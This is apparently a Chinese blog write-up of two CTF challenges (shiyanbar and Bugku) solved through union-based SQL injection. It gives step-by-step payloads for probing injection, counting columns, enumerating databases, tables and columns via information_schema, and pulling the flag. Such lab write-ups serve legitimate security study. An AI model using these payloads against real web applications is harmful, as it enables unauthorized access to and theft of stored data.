• union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单


       这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下。

       首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”

       再附上一张文章里面的图

     接下来直接上题

    1.这个看起来有点简单

     题目连接:http://ctf5.shiyanbar.com/8/index.php?id=1

     首先一进去看着那个表,和url里面的id=1,就感觉应该是SQL注入的题。

    老样子,先把id=1,改成id=2,和id=3发现可以返回不同的数据。

    然后 加个引号和注释号  id=1‘#,发现报错,由此确定是sql注入,并且应该是数字注入,不用闭合。

    然后先确定列数,看图感觉是两列,再网址后输  id=1 order by2 ,返回正确,id=1 order by 3返回错误, 从而判断是两列。

    好,接下来用union搞一搞,输入   id=-1 union select 1,2#  得到以下画面

     这还能说啥,直接一波爆库名,爆表名,爆段名再说,

     -1 union select -1,database()#

    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

      答案字段应该是再thiskey里     

    -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey' #

    得到字段名 k0y

    然后 -1 union select 1,k0y from thiskey#

    拿到flag,  这道题也可以用sqlmap跑出来。

    2.bugku成绩单

    题目链接    http://123.206.87.240:8002/chengjidan/index.php

     和上一道题很相似,所以依然按照步骤来就好,不过这里需要注意一下,当输入 1的时候,返回的是龙龙的成绩单,当加一个引号,不返回结果,然后再输入1‘# 则返回龙龙的成绩,很明显,这里需要闭合,是字符型的注入。

    确定列数

         1’ order by 5#返回错误, 1‘ order by 4 返回龙龙的成绩单,说明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 来搞一下事情 ,输入-1' union select 1,2,3,4#   这里说一下为什么前面要用-1,这道题只会显示一行,如果用1的话,会显示龙龙的成绩,这里只会显示一行,所以要让第一行不显示,直接用-1。

     

    发现第一列被隐藏了,所以后面要输入数据应该再二三四列显示。

    ok 都到这一步了,接下来就直接爆库名这些了。。。

    -1’ union select 1,database(),3,4#

    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

    出现表名   fl4g    

    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4#

      得到 字段名 skctf_flag    

       接下来      -1' union select 1,(select skctf_flag from fl4g),3,4#

     拿到答案,当然这道题也可以用sqlmap跑出来,只不过这里是post传数据,要用bp和sqlmap一起结合而已。

     还有两道题再下一篇博客写。。。。。

  • 相关阅读:
    svn服务器安装
    flex 协同
    大尾端 小尾端
    UNIX下c语言的图形编程curses.h 函式库(2)
    vs2005设置
    client 连接 host —— 虚拟机
    fedora 连网问题。。
    pv ip uv
    checking for XML::Parser... configure: error: XML::Parser perl module is required for intltool
    UNIX下c语言的图形编程curses.h 函式库
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/10828132.html
Copyright © 2020-2023  润新知